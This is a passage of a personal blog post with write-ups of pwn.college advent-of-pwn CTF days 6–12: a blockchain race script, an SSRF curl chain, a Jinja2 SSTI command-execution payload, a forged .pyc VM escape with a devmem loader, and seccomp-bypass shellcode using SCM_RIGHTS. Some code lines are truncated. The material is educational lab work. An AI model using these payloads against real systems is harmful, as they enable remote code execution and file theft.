                                    match = re.search(r"secret index #(\d+)", l)
                                    if match:
                                        idx = int(match.group(1))
                                        chain_gifts[idx] = gift_value
                                        print(f"    [{idx:02d}] -> '{gift_value)

    # Merge cached with chain
    for i, c in enumerate(known_secret):
        if i not in chain_gifts:
            chain_gifts[i] = c

    # Find missing indices
    missing_indices = [i for i in range(32) if i not in chain_gifts]
    print(f"  Have {32 - len(missing_indices)}/32 chars")

    if len(missing_indices) == 0 and len(known_secret) == 32:
        secret = known_secret
        print(f"  Full secret from cache: {secret}")
    else:
        # BATCH ALL: Send all missing secret indices AND the flag request toget!
        print(f"\n[4] Sending ALL letters at once (racing elves)...")

        gift_nonces_to_exclude = set()
        letter_nonces = []  # (index or 'flag', nonce)

        # First send all missing index requests
        for i in missing_indices:
            letter_text = f"secret index #{i}"
            (success, msg), letter_nonce = send_letter("hacker", letter_text, h)
            if not success:
                print(f"  Letter {i} rejected: {msg}")
                return
            letter_nonces.append((i, letter_nonce))
            gift_nonces_to_exclude.add(f"{letter_nonce}-gift")
            print(f"    [{i:02d}] sent")

        # Mine blocks aggressively (excluding our gifts!)
        print("  Mining to confirm letters...")
        for _ in range(8):
            head = get_head()
            txpool = get_txpool(head["hash"])
            filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
            block, _ = mine_block(head["hash"], head["block"]["index"] + 1, fil)
            submit_block(block)

        # Collect secret chars from txpool
        print("  Collecting secret chars from txpool...")
        for attempt in range(200):
            # Mine first to block elves!
            head = get_head()
            txpool = get_txpool(head["hash"])
            filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
            block, _ = mine_block(head["hash"], head["block"]["index"] + 1, fil)
            submit_block(block)

            # Check for gifts
            for idx, letter_nonce in letter_nonces:
                if idx in chain_gifts:
                    continue
                gift = find_gift_in_txpool(letter_nonce)
                if gift and len(gift) == 1:
                    chain_gifts[idx] = gift
                    print(f"    [{idx:02d}] -> '{gift}'")

            if all(i in chain_gifts for i in range(32)):
                break

            time.sleep(0.05)

        # Check chain for any missed
        if not all(i in chain_gifts for i in range(32)):
            print("  Checking chain...")
            for idx, letter_nonce in letter_nonces:
                if idx in chain_gifts:
                    continue
                gift = find_gift_for_nonce(letter_nonce)
                if gift and len(gift) == 1:
                    chain_gifts[idx] = gift
                    print(f"    [{idx:02d}] -> '{gift}' (chain)")

        if not all(i in chain_gifts for i in range(32)):
            missing = [i for i in range(32) if i not in chain_gifts]
            partial = ''.join(chain_gifts.get(i, '?') for i in range(32))
            save_secret_progress(partial.replace('?', ''))
            print(f"\n  Incomplete: {partial}")
            print(f"  Missing: {missing}")
            print(f"  Run again!")
            return

        secret = ''.join(chain_gifts[i] for i in range(32))
        save_secret_progress(secret)

    print(f"\n[5] SECRET_GIFT = {secret}")

    # Now send the flag letter
    print("\n[6] Sending flag letter...")

    # Check balance
    balances = get_balances()
    hacker_balance = balances['balances'].get('hacker', 0)
    if hacker_balance < 1:
        print(f"  Balance is 0! Mining nice blocks...")
        chain = get_chain()
        current_nice = sum(1 for b in chain if b.get("nice") == "hacker")
        if current_nice >= 10:
            print(f"  [!] STUCK: Nice maxed, balance 0")
            print(f"      Restart challenge!")
            return
        for _ in range(10 - current_nice):
            head = get_head()
            txpool = get_txpool(head["hash"])
            block, _ = mine_block(head["hash"], head["block"]["index"] + 1, txp)
            submit_block(block)
        balances = get_balances()
        hacker_balance = balances['balances'].get('hacker', 0)
        if hacker_balance < 1:
            print(f"  Still 0. Restart challenge!")
            return

    gift_nonces_to_exclude = set()
    (success, msg), flag_nonce = send_letter("hacker", secret, hacker_key)
    if not success:
        print(f"  Rejected: {msg}")
        return
    gift_nonces_to_exclude.add(f"{flag_nonce}-gift")
    print(f"  Sent! Mining and waiting for flag...")

    # Mine and wait for flag
    flag = None
    for attempt in range(150):
        head = get_head()
        txpool = get_txpool(head["hash"])
        filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
        block, _ = mine_block(head["hash"], head["block"]["index"] + 1, filtere)
        submit_block(block)

        flag = find_gift_in_txpool(flag_nonce)
        if flag and flag.startswith("pwn"):
            break
        flag = find_gift_for_nonce(flag_nonce)
        if flag and flag.startswith("pwn"):
            break

        if attempt % 30 == 0:
            print(f"    Attempt {attempt}...")
        time.sleep(0.05)

    print(f"\n{'='*50}")
    if flag and flag.startswith("pwn.college{"):
        print(f"[*] FLAG: {flag}")
    elif flag:
        print(f"[!] Wrong secret! Got: '{flag}'")
        print(f"    Clearing cache...")
        if SECRET_FILE.exists():
            SECRET_FILE.unlink()
    else:
        print(f"[!] No flag received")
    print(f"{'='*50}")
if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="pwn.college advent-of-pwn CTF)
    parser.add_argument("--reset", action="store_true", help="Reset saved progr)
    parser.add_argument("--set-secret", type=str, help="Manually set known secr)
    parser.add_argument("--show", action="store_true", help="Show current progr)
    args = parser.parse_args()

    if args.show:
        s = load_secret_progress()
        print(f"Current progress: '{s}' ({len(s)}/32 chars)")
        sys.exit(0)

    if args.reset:
        if SECRET_FILE.exists():
            SECRET_FILE.unlink()
        print("Progress reset.")
        sys.exit(0)

    if args.set_secret:
        save_secret_progress(args.set_secret)
        print(f"Secret set to: '{args.set_secret}' ({len(args.set_secret)}/32 c)
        sys.exit(0)

    main() 

Run It

$ python3 3balance.py
[*] pwn.college advent-of-pwn CTF day 6
[*] Target: http://localhost

[1] Checking blockchain state...
Head block index: 1
Hacker balance: 1
Hacker nice count: 0/10

[2] Mining 10 blocks to max hacker's nice balance...
Hacker balance now: 11

[3] Scanning chain for existing secret chars...
Have 0/32 chars

[4] Sending ALL letters at once (racing elves)...
[00] sent
[01] sent
[02] sent
…
[29] sent
[30] sent
[31] sent
Mining to confirm letters...
Collecting secret chars from txpool...
[00] -> 'c'
[01] -> '8'
[02] -> '0'
…
[29] -> '0'
[30] -> 'a'
[31] -> 'c'

[5] SECRET_GIFT = c803007ea6cef3ac64bff8433490c0ac

[6] Sending flag letter...
Sent! Mining and waiting for flag...
Attempt 0...

==================================================
[*] FLAG: pwn.college{Q_eDP6duSHQ-yb1Q-6SLl31QNj_.QX0ETOxIDL2ATOykzW}
==================================================

Summary

Txpool leak + selective mining = 33 gifts with only 11 balance. Key: read gifts before they're mined!

Day 7 - Web Rev/Forensics πŸ¦ƒπŸ¦†πŸ”

Analysis

A Flask app (turkey.py) with heavily obfuscated payloads spawning services in network namespaces. The emojis hint at multiple layers (turkey/duck/chicken = different services).

Key Insight

First step: decode the obfuscated payloads to understand the architecture. Base64 + zlib + more encoding reveals three services in separate network namespaces.

Architecture After Decoding

Frontend

Flask (Python)

localhost:80

β†’

Middleware

Node.js "cobol"

72.79.72.79:80

/fetch?url=...

β†’

Backend

Sinatra "php"

88.77.65.83:80

/flag?xmas=...

Solution: SSRF Chain

# Step 1: Decode payloads to discover architecture (base64 + zlib)
# Step 2: Chain SSRF through middleware to backend
curl "http://localhost/proxy?url=http://72.79.72.79/fetch?url=http://88.77.65.83/flag?xmas=hohoho-i-want-the-flag"

Summary

Reverse engineer obfuscated config β†’ discover hidden services β†’ SSRF chain to backend.

Day 8 - Jinja2 SSTI

Analysis

A "toy workshop" API with endpoints: /create (from .c.j2 templates), /tinker (modify content or render), /assemble (compile), /play (execute). The render operation passes content through Jinja2's render_template_string(). Multiple tinker operations can be chained.

Key Insight

In Jinja2, lipsum is a built-in function for generating Lorem Ipsum placeholder text. But like all Python function objects, it carries a __globals__ attribute - a dictionary containing all global variables from the module where the function was defined.

This is powerful because Flask imports the os module internally, and that reference ends up in the globals! Here's the exploitation chain:

lipsum                          # Jinja2 built-in function
  .__globals__                  # Python dict of module globals
    ['os']                      # The os module reference!
      .popen('cat /flag')       # os.popen() executes shell commands
        .read()                 # Get the output

Why this works: lipsum is a built-in Jinja2 function, and like all Python functions, it has a __globals__ attribute containing the module's global namespace. Flask imports os internally, so we get direct access to shell commands. This is shorter than the classic __class__.__mro__[1].__subclasses__() chain.

Exploit Chain

# 1. Create toy from template
curl -d '{"template": "teddy.c.j2"}' http://localhost/create
# Returns: {"id": "abc123"}
id=abc123

# 2. Replace content with SSTI payload
curl -d '{"op":"replace","index":0,"length":99999,"content":"#include <stdio.h>\nint main(){puts(\"{{ lipsum.__globals__['\''os'\''].popen('\''cat /flag*'\'').read().strip() }}\");}"}' http://localhost/tinker/$id

# 3. Trigger Jinja2 rendering (executes SSTI!)
curl -d '{"op":"render"}' http://localhost/tinker/$id

# 4. Compile and run (flag is now in the output)
curl -d '{ }' http://localhost/assemble/$id
curl -d '{ }' http://localhost/play/$id

Summary

Tinker allows content injection β†’ render triggers SSTI β†’ RCE via lipsum.__globals__['os'].popen().

Day 9 - VM Container Escape 🩸 First Blood!

Analysis

We're inside a QEMU VM with a custom PCI device: pypu-pci (Python Processing Unit). The device executes Python bytecode (.pyc files) and has access to a gifts module containing the flag - but only in "privileged" mode.

Device Discovery

~ # lspci
00:03.0 Class 00ff: 1337:1225   # Vendor "leet", Device "Christmas"

~ # cat /sys/bus/pci/devices/0000:00:03.0/resource
0x00000000febd5000 0x00000000febd5fff 0x0000000000040200  # BAR0
0x00000000febd6000 0x00000000febd6fff 0x0000000000040200  # BAR1  
0x00000000febd7000 0x00000000febd7fff 0x0000000000040200  # BAR2

Vulnerability

The device checks bytes 8-15 of the .pyc header against a hardcoded hash 0xf0a0101a75bc9dd3. This is not a cryptographic verification against the actual bytecode - just a static comparison! We simply put this magic value in our .pyc header. No hash collision needed.

Create exploit code

Note that this needs the same python version 3.13 as in the VM:
$ python3.13 -c '
import marshal, struct, base64
code = compile("import gifts; print(gifts.flag)", "<x>", "exec")
magic = b"\xf3\x0d\x0d\x0a"
flags = struct.pack("<I", 0x03)
priv_hash = struct.pack("<Q", 0xf0a0101a75bc9dd3)
pyc = magic + flags + priv_hash + marshal.dumps(code)
print(base64.b64encode(pyc).decode())
'
8w0NCgMAAADTnbx1GhCg8OMAAAAAAAAAAAAAAAADAAAAAAAAAPMwAAAAlQBTAFMBSwByAFwBIgBcAFIEAAAAAAAAAAAAAAAAAAAAAAAANQEAAAAAAAAgAGcBKQLpAAAAAE4pA9oFZ2lmdHPaBXByaW502gRmbGFnqQDzAAAAANoDPHg+2gg8bW9kdWxlPnIJAAAAAQAAAHMTAAAA8AMBAQHbAAyJZZBFl0qRStUOH3IHAAAA 

Run in VM: /challenge/run.sh

Copy the exploit .pyc code over to the host, and use my "exploitVM.sh" loader script to poke it into the right place using busybox' "devmem" command:
~ # mkdir /tmp
~ # echo "8w0NCgMAAADTnbx1GhCg8OMAAAAAAAAAAAAAAAADAAAAAAAAAPMwAAAAlQBTAFMBSwByAF
wBIgBcAFIEAAAAAAAAAAAAAAAAAAAAAAAANQEAAAAAAAAgAGcBKQLpAAAAAE4pA9oFZ2lmdHPaBXByaW
502gRmbGFnqQDzAAAAANoDPHg+2gg8bW9kdWxlPnIJAAAAAQAAAHMTAAAA8AMBAQHbAAyJZZBFl0qRSt
UOH3IHAAAA" | base64 -d > /tmp/flag.pyc
~ #
~ # cat /tmp/exploitVM.sh
#!/bin/sh
i=0
for byte in $(xxd -p -c1 /tmp/flag.pyc); do
    devmem $((0xfebd5100 + i)) 8 0x$byte
    i=$((i + 1))
done
devmem 0xfebd5010 32 $i
devmem 0xfebd500c 32 1
for j in $(seq 0 127); do
    b=$(devmem $((0xfebd6000 + j)) 8)
    [ "$b" = "0x00" ] && break
    printf "\\$(printf '%03o' $b)"
done
echo
~ # sh /tmp/exploitVM.sh
<module 'gifts'>
pwn.college{As-oED_oPwegme90-CXKPliC5pU.QX4UTMyIDL2ATOykzW}

Summary

PCI device analysis via lspci/sysfs β†’ reverse engineer MMIO protocol β†’ forge .pyc with magic hash β†’ VM escape!

First blood 🩸 by hubertf

Scoreboard of day 9 - first blood by hubertf

Day 10 - seccomp & SCM_RIGHTS

Analysis

Two processes exist: the parent is unrestricted, the child runs under seccomp allowing only openat, sendmsg, recvmsg, exit_group. No read/write allowed!

Key Insight

Unix domain sockets support SCM_RIGHTS - passing file descriptors between processes via ancillary data. The sandboxed child can open the flag file and pass the fd to the unrestricted parent, which then reads it.

Architecture

Parent Process (Python) - Unrestricted

Creates Unix socket pair β†’ fork() β†’ receives fd via recvmsg() β†’ os.read(fd)

↑ SCM_RIGHTS (fd passing) ↑

Child Process (Sandboxed via seccomp)

Allowed: openat, sendmsg, recvmsg, exit_group

1. openat("/flag") β†’ flag_fd

2. sendmsg(socket, {SCM_RIGHTS: flag_fd})

πŸ“„ Complete Exploit (1gemini.py)
#!/usr/bin/env python3
"""
Exploit for northpole-relay seccomp challenge.
Uses socketpair and SCM_RIGHTS to bypass the seccomp sandbox
and exfiltrate the file descriptor for /flag.
"""
import socket
import os
import sys
import array
import subprocess
import tempfile
from pwn import *

context.arch = 'amd64'
context.log_level = 'warn'

# Refined shellcode with correct structure layout for sendmsg/SCM_RIGHTS
def make_shellcode():
    # SOL_SOCKET = 1
    # SCM_RIGHTS = 1

    # Assembly is written to be position-independent (PIC)
    return asm('''
        /* Sub-stack allocation for msghdr/cmsghdr/iovec */
        sub rsp, 128
        mov rbp, rsp /* rbp points to the base of the allocated space */

        /* 1. openat(AT_FDCWD, "/flag", O_RDONLY) */
        mov rax, 257          /* openat syscall number */
        mov rdi, -100         /* AT_FDCWD */
        lea rsi, [rip + flag_path] /* "/flag" path */
        xor rdx, rdx          /* O_RDONLY (0) */
        syscall

        mov r12, rax          /* Save the flag FD (rax) in r12 */

        /* --- Construct cmsghdr at rbp + 0 --- */
        mov qword ptr [rbp+0], 20   /* cmsg_len: 20 (CMSG_LEN(4) for 1 FD) */
        mov dword ptr [rbp+8], 1    /* cmsg_level: SOL_SOCKET (1) */
        mov dword ptr [rbp+12], 1   /* cmsg_type: SCM_RIGHTS (1) */
        mov dword ptr [rbp+16], r12d /* cmsg_data: the FD (only 4 bytes needed) */

        /* --- Construct iovec at rbp + 32 --- */
        lea rax, [rip + flag_path]
        mov qword ptr [rbp+32], rax /* iov_base: pointer to "/flag" string */
        mov qword ptr [rbp+40], 5   /* iov_len: length of "/flag" (5 bytes) */

        /* --- Construct msghdr at rbp + 64 --- */
        xor rax, rax
        mov qword ptr [rbp+64], rax  /* msg_name = 0 */
        mov qword ptr [rbp+72], rax  /* msg_namelen = 0 */

        lea rax, [rbp+32]
        mov qword ptr [rbp+80], rax  /* msg_iov: ptr to iovec */
        mov qword ptr [rbp+88], 1    /* msg_iovlen: 1 */

        lea rax, [rbp+0]
        mov qword ptr [rbp+96], rax  /* msg_control: ptr to cmsghdr */
        mov qword ptr [rbp+104], 24  /* msg_controllen: 24 (aligned size) */
        mov qword ptr [rbp+112], rax /* msg_flags = 0 */

        /* 2. sendmsg(1, msghdr, 0) */
        mov rax, 46           /* sendmsg syscall number */
        mov rdi, 1            /* fd 1 (stdout, redirected to socket) */
        lea rsi, [rbp+64]     /* pointer to msghdr struct */
        xor rdx, rdx          /* flags = 0 */
        syscall

        /* 3. exit_group(0) */
        mov rax, 231          /* exit_group syscall number */
        xor rdi, rdi          /* status = 0 */
        syscall

    flag_path:
        .asciz "/flag"
    ''')

def recv_fd(sock):
    """Receive a file descriptor over a Unix socket."""
    # SCM_RIGHTS sends the FD in the ancillary data
    fds = array.array("i")
    # CMSG_LEN(4) is the minimum buffer size for ancillary data
    msg, ancdata, flags, addr = sock.recvmsg(1024, socket.CMSG_LEN(4))
    for cmsg_level, cmsg_type, cmsg_data in ancdata:
        if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
            # Extract the 4-byte integer file descriptor
            fds.frombytes(cmsg_data[:4])
    return fds[0] if fds else None

def main():
    shellcode = make_shellcode()
    print(f"[*] Shellcode size: {len(shellcode)} bytes")

    # Create socketpair for IPC
    parent_sock, child_sock = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)

    # Set a small timeout on the socket to prevent indefinite blocking during banner reading
    parent_sock.settimeout(0.5)

    # Fork and exec the challenge program
    pid = os.fork()
    if pid == 0:
        # Child process: set up I/O redirection and execute challenge
        parent_sock.close()
        # Redirect stdin (fd 0) and stdout (fd 1) to the socket
        os.dup2(child_sock.fileno(), 0)
        os.dup2(child_sock.fileno(), 1)
        child_sock.close()
        try:
            # Execute the challenge binary
            os.execv("/challenge/northpole-relay", ["/challenge/northpole-relay"])
        except Exception:
            # Exit cleanly if exec fails
            sys.exit(1)

    # Parent process: perform the exploit
    child_sock.close()

    # 1. Consume banners until the challenge is ready to read shellcode
    print("[*] Consuming banners...")
    banner_data = b''
    try:
        # Read until timeout or until the last expected banner is seen
        while True:
            chunk = parent_sock.recv(1024)
            if not chunk:
                break
            banner_data += chunk
            # The last banner is "Protecting station from South Pole elfs..."
            if b"Protecting station" in banner_data:
                break
    except socket.timeout:
        # Expected if the program prints its banners and then blocks on read(0)
        pass
    except Exception as e:
        print(f"[-] Error consuming banner: {e}")
        # Clean up and exit if reading fails
        parent_sock.close()
        os.waitpid(pid, 0)
        return

    print(f"[*] Banners received (last lines confirm readiness): \n{banner_data.decode().strip()}")

    # Remove timeout for the main exploit logic (optional, but good practice)
    parent_sock.settimeout(None)

    # 2. Send the shellcode
    print(f"[*] Sending {len(shellcode)} bytes of shellcode...")
    parent_sock.sendall(shellcode)

    # 3. Receive the file descriptor
    print("[*] Waiting to receive file descriptor...")
    try:
        # Set a timeout for the critical recv_fd operation
        parent_sock.settimeout(5.0)
        received_fd = recv_fd(parent_sock)
    except socket.timeout:
        print("[-] Exploit timed out waiting for SCM_RIGHTS. The shellcode likely failed.")
        received_fd = None
    except Exception as e:
        print(f"[-] Error during recv_fd: {e}")
        received_fd = None

    # 4. Read the flag
    if received_fd is not None:
        print(f"[+] Received flag file descriptor: {received_fd}")

        try:
            # Use os.read() on the received file descriptor
            flag = os.read(received_fd, 4096)
            print(f"πŸŽ‰ [+] Flag: {flag.decode().strip()}")
        except Exception as e:
            print(f"[-] Failed to read from received FD: {e}")
        finally:
            os.close(received_fd)
    else:
        print("[-] No file descriptor received.")

    # 5. Cleanup
    parent_sock.close()
    os.waitpid(pid, 0)

if __name__ == "__main__":
    main()

Run It

$ python3 exploit_day10.py
[*] Shellcode size: 172 bytes
[*] Consuming banners...
[*] Banners received (last lines confirm readiness):

[*] Sending 172 bytes of shellcode...
[*] Waiting to receive file descriptor...
[+] Received flag file descriptor: 5
πŸŽ‰ [+] Flag: pwn.college{orpJvDPVb1rBE_uKJTOUYnCCpzW.QX5UTMyIDL2ATOykzW} $

Summary

SCM_RIGHTS fd passing: sandboxed child opens file, passes fd to unrestricted parent via Unix socket ancillary data.

Day 11 - MS-DOS Networking πŸ’Ύ

Analysis

Challenge provides a QEMU instance with network connected and an empty hard disk. Goal: use nc to connect to 192.168.13.37:1337. But first we need to install MS-DOS and get networking working!

Provided Resources

Step-by-Step Solution

1. Install MS-DOS

- Boot from dos/disk1.img
- FDISK β†’ create primary partition, set active
- FORMAT C: /S
- Swap disks 1β†’2β†’3 as prompted
- Reboot from C:

2. Load Packet Driver

A:
CD PKTDRVR
PCNTPK INT=0x60    ; Load at software interrupt 0x60

3. Configure mTCP

; Copy mTCP to C: and create config
COPY A:\*.* C:\

; Create C:\MTCP.CFG:
packetint 0x60
IPADDR 192.168.13.100
NETMASK 255.255.255.0
GATEWAY 192.168.13.1

4. Connect!

SET MTCPCFG=C:\MTCP.CFG
NC -target 192.168.13.37 1337
MS-DOS running mTCP NC with flag

Summary

Install DOS β†’ packet driver β†’ mTCP stack β†’ NC to get flag. Note: More floppy disk images were provided than necessary for the solution (LAN Manager, Turbo C++), which could cause confusion if you're not familiar with the jungle of 1990s PC networking implementations. Having studied during that era definitely helped here, over 30 years later. Most nostalgic challenge!

Day 12 - AVX2 SIMD Z3 Solving

Analysis

Similar to Day 1, but at scale: 461 ELF binaries, each expecting 256-byte input. Each applies ~1000 AVX2 SIMD transformations and compares against hardcoded target values.

AVX2 Operations

vpaddb    - byte-wise addition (32 bytes at once)
vpsubb    - byte-wise subtraction
vpblendvb - conditional blend: if mask[i] & 0x80, use computed value; else keep original
πŸ“„ Complete Z3 Solver Script (3check+repair.py)
#!/usr/bin/env python3
"""
Thorough check & repair - validates size and content
"""
from z3 import *
import re
import sys
import os

def is_valid_solution(filepath):
    """Strict validation: must be exactly 256 bytes, correct format"""
    if not os.path.exists(filepath):
        return False, "missing"

    with open(filepath, 'rb') as f:
        content = f.read()

    if len(content) != 256:
        return False, f"wrong size ({len(content)} != 256)"

    if not content.startswith(b'\xf0\x9f\x8e\x85'):
        return False, "bad header"

    if b'is nice!' not in content:
        return False, "missing 'is nice!'"

    # Check that after the message it's all nulls
    try:
        newline_pos = content.index(b'\n')
        remainder = content[newline_pos+1:]
        if remainder != b'\x00' * len(remainder):
            return False, "garbage after message"
    except:
        return False, "no newline"

    return True, "ok"

def solve_binary(binary_path):
    """Solve a single binary and return the correct input"""

    with open(binary_path, 'rb') as f:
        binary = f.read()

    expected = list(binary[0x8080:0x8080 + 256])

    offset_to_chunk = {
        0x100: 0, 0xe0: 1, 0xc0: 2, 0xa0: 3,
        0x80: 4, 0x60: 5, 0x40: 6, 0x20: 7
    }

    def get_const(addr):
        file_off = addr - 0x400000
        if 0 <= file_off < len(binary) - 32:
            return list(binary[file_off:file_off+32])
        return [0] * 32

    def get_byte(addr):
        file_off = addr - 0x400000
        if 0 <= file_off < len(binary):
            return binary[file_off]
        return 0

    import subprocess
    result = subprocess.run(['objdump', '-d', binary_path], capture_output=True, text=True)
    lines = result.stdout.split('\n')

    operations = []
    i = 0
    while i < len(lines):
        line = lines[i]
        m = re.match(r'\s*([0-9a-f]+):', line)
        if not m:
            i += 1
            continue
        addr = int(m.group(1), 16)
        if addr < 0x401022:
            i += 1
            continue
        if 'vpcmpeqb' in line:
            break

        if 'vmovdqu' in line and '%ymm0' in line and '(%rbp)' in line:
            m = re.search(r'-0x([0-9a-f]+)\(%rbp\),%ymm0', line)
            if not m:
                i += 1
                continue

            chunk_offset = int(m.group(1), 16)
            if chunk_offset not in offset_to_chunk:
                i += 1
                continue

            src_chunk = offset_to_chunk[chunk_offset]

            j = i + 1
            const = None

            while j < len(lines) and j < i + 10:
                next_line = lines[j]

                if 'vmovdqu' in next_line and '%ymm1' in next_line:
                    m2 = re.search(r'# 0x([0-9a-f]+)', next_line)
                    if m2:
                        const = get_const(int(m2.group(1), 16))
                        j += 1
                        continue

                if 'vpbroadcastb' in next_line and '%ymm1' in next_line:
                    m2 = re.search(r'# 0x([0-9a-f]+)', next_line)
                    if m2:
                        byte_val = get_byte(int(m2.group(1), 16))
                        const = [byte_val] * 32
                        j += 1
                        continue

                if ('vpaddb' in next_line or 'vpsubb' in next_line) and const is not None:
                    is_add = 'vpaddb' in next_line
                    j += 1

                    mask = None
                    while j < len(lines) and j < i + 15:
                        store_line = lines[j]

                        if 'vmovdqu' in store_line and '%ymm3' in store_line:
                            m3 = re.search(r'# 0x([0-9a-f]+)', store_line)
                            if m3:
                                mask = get_const(int(m3.group(1), 16))
                                j += 1
                                continue

                        if 'vpblendvb' in store_line:
                            j += 1
                            continue

                        if 'vmovdqu' in store_line and '(%rbp)' in store_line:
                            m4 = re.search(r'-0x([0-9a-f]+)\(%rbp\)', store_line)
                            if m4:
                                dest_offset = int(m4.group(1), 16)
                                if dest_offset in offset_to_chunk:
                                    dest_chunk = offset_to_chunk[dest_offset]
                                    operations.append({
                                        'is_add': is_add,
                                        'src': src_chunk,
                                        'dst': dest_chunk,
                                        'const': const,
                                        'mask': mask
                                    })
                            break
                        j += 1
                    break
                j += 1
        i += 1

    input_vars = [[BitVec(f'in_{c}_{i}', 8) for i in range(32)] for c in range(8)]
    state = [list(chunk) for chunk in input_vars]

    for op in operations:
        src = op['src']
        dst = op['dst']
        const = op['const']
        mask = op['mask']
        is_add = op['is_add']

        if mask is None:
            if is_add:
                new_vals = [state[src][i] + const[i] for i in range(32)]
            else:
                new_vals = [state[src][i] - const[i] for i in range(32)]
            state[dst] = new_vals
        else:
            new_vals = []
            for i in range(32):
                if mask[i] & 0x80:
                    if is_add:
                        new_vals.append(state[src][i] + const[i])
                    else:
                        new_vals.append(state[src][i] - const[i])
                else:
                    new_vals.append(state[src][i])
            state[dst] = new_vals

    solver = Solver()
    for c in range(8):
        for i in range(32):
            idx = c * 32 + i
            solver.add(state[c][i] == expected[idx])

    if solver.check() == sat:
        model = solver.model()
        solution = []
        for c in range(8):
            for i in range(32):
                val = model.eval(input_vars[c][i]).as_long()
                solution.append(val)
        return bytes(solution)
    else:
        return None

def main():
    if len(sys.argv) < 3:
        print("Usage: check_repair.py  ")
        sys.exit(1)

    input_dir = sys.argv[1]
    output_dir = sys.argv[2]

    os.makedirs(output_dir, exist_ok=True)

    files = sorted(os.listdir(input_dir))
    total = len(files)

    # Check all files
    print("Checking all solutions...")
    broken = []
    for filename in files:
        output_path = os.path.join(output_dir, filename)
        valid, reason = is_valid_solution(output_path)
        if not valid:
            broken.append((filename, reason))

    print(f"Found {len(broken)} broken/missing out of {total}")

    if broken:
        print("\nBroken files:")
        for fn, reason in broken[:20]:
            print(f"  {fn[:16]}... : {reason}")
        if len(broken) > 20:
            print(f"  ... and {len(broken)-20} more")

    if not broken:
        print("All solutions valid!")
        return

    # Fix broken ones
    print(f"\nRepairing {len(broken)} files...")
    for idx, (filename, reason) in enumerate(broken):
        binary_path = os.path.join(input_dir, filename)
        output_path = os.path.join(output_dir, filename)

        print(f"[{idx+1}/{len(broken)}] Fixing {filename[:16]}... ({reason})")

        # Delete corrupt file first
        if os.path.exists(output_path):
            os.remove(output_path)

        try:
            solution = solve_binary(binary_path)
            if solution:
                with open(output_path, 'wb') as f:
                    f.write(solution)
                text = solution.rstrip(b'\x00')
                try:
                    preview = text.decode('utf-8', errors='replace')[:50]
                except:
                    preview = text[:50].hex()
                print(f"    -> {preview}")
            else:
                print(f"    -> FAILED: No solution")
        except Exception as e:
            print(f"    -> ERROR: {e}")

    print("\nDone! Run: ./run out")

if __name__ == '__main__':
    main()

Run It

$ /challenge/run out
SeaBIOS (version rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org)

iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFD0E10+1EF30E10 CA00

Booting from ROM...
[init] loading 9p modules
insmod /lib/modules/6.8.0-90-generic/kernel/fs/netfs/netfs.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet.ko
insmod /lib/modules/6.8.0-90-generic/kernel/net/9p/9pnet_virtio.ko
insmod /lib/modules/6.8.0-90-generic/kernel/fs/9p/9p.ko
[init] mounting 9p list...
[init] running checks
πŸŽ… g0blin is nice! πŸŽ…
πŸŽ… blunderer is nice! πŸŽ…
πŸŽ… cxponxtu is nice! πŸŽ…
πŸŽ… NotHoudaifa is nice! πŸŽ…
πŸŽ… manbolq is nice! πŸŽ…
πŸŽ… x90 is nice! πŸŽ…
…
πŸŽ… Xenonminer is nice! πŸŽ…
πŸŽ… hubertf is nice! πŸŽ…
πŸŽ… xisop is nice! πŸŽ…
…
πŸŽ… Linz is nice! πŸŽ…
πŸŽ… b0n0n is nice! πŸŽ…
πŸŽ… BigGamer9000 is nice! πŸŽ…
πŸŽ… sakal is nice! πŸŽ…
πŸŽ… NeX is nice! πŸŽ…
πŸŽ… armax is nice! πŸŽ…
πŸŽ… jelly8173 is nice! πŸŽ…
πŸŽ… ordinary is nice! πŸŽ…
πŸŽ… JuliusRapp is nice! πŸŽ…
πŸŽ… blasty is nice! πŸŽ…
NICE
[ 77.935707] reboot: Power down
pwn.college{YA0DGUgBk2JbrQcgXd9NKR21Brs.QX1YTMyIDL2ATOykzW}
$

Summary

Parse AVX2 ops from objdump β†’ model as Z3 constraints β†’ solve 461 binaries in ~15 minutes.

Lessons Learned

Technical Skills Acquired

Tool Effectiveness

ToolBest ForLimitations
Z3Reversible arithmetic, constraint systemsRequires manual modeling
angrAutomatic path explorationSlow for complex binaries
PerlQuick text parsingOnly simple cases
pwntoolsInteractive dialog with programs, exploit developmentPython knowledge required
Claude.aiCode generation, API research, debugging; decompiles binariesMax subscription needed for extended usage
GeminiCode writing / verificationSometimes refuses to do security work; beware of hallucinations
Perplexitysearch engine tasks & explaining thingsBad at coding, tents to drop large chunks of code

Highlights

Fun Fact

day12$ head -1 out/49214fcaee38046cf09aeb5eeba7794c011c23dedef16cd1662237b5a1c5c462
πŸŽ… hubertf is nice! πŸŽ…

πŸŽ„ Merry Christmas and Happy Hacking! πŸŽ…


This page has been accessed 506 times.
Copyright (c) 2025 Hubert Feyrer. All rights reserved.
$Id: index.html,v 1.4 2025/12/16 13:37:27 feh39068 Exp $